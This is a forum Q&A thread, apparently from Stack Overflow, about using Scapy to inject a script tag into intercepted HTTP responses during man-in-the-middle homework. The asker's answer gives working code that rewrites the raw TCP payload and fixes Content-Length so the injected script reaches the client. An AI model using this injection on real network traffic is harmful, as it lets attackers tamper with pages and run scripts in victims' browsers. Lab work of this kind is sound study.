Patrick
Patrick

Reputation: 147

Setting HTTP header field has no effect

I'm doing a MitM attack homework. It requires me to change the HTTP payload (adding script tags to the HTML content). I was able to inject the script but I found the content received on the user's side is always cut short. I then realized that the Content-Length field in the HTTP header wasn't increased to accommodate the longer HTTP data.

I tried to set the Content-Length header this way. new_packet.show() prints fine, showing the updated Content-Length. But when I checked on the client side it still sees the original Content-Length as if nothing was changed.

res: HTTPResponse = tcp[HTTPResponse]
res.fields["Content_Length"] = content_len
new_packet = IP(src=ip.src, dst=ip.dst) / tcp
new_packet.show()
send(new_packet)

I checked other related answers here and on scapy's github issues page but the discussions seem to be very outdated. Has anyone successfully changed the header fields this way? Am I supposed to use another method to modify header fields?

Upvotes: 1

Views: 43

Answers (2)

Cukic0d
Cukic0d

Reputation: 5421

You could have done

res.Content_Length = None

To have Scapy recalculate it for you automatically.

Upvotes: 0

Patrick
Patrick

Reputation: 147

Ended up directly modifying TCP's Raw layer. It seems that scapy would try to parse the header fields into an HTTPResponse object if you access it though res = packet[HTTPResponse] and leave only the HTTP body in the Raw layer load. And it also seems that if I modify the parsed header fields directly (e.g. res.fields["Content_Length"] = "123"), it's not effective. But if I modify the unparsed TCP Raw layer directly, it works. Here is what I did to inject a script tag and also modify the "Content-Length" HTTP header:

old_load: str = tcp[Raw].load.decode()

[old_headers, old_body] = old_load.split("\r\n\r\n")

new_body = old_body.split("</body>")
new_body.insert(-1, f"<script>{script}</script>")
new_body = "".join(new_body)
new_headers: str = old_headers.replace(f"Content-Length: {len(old_body)}", f"Content-Length: {len(new_body)}")

new_load = "\r\n\r\n".join([new_headers, new_body])
tcp[Raw].load = new_load

Upvotes: 0

Related Questions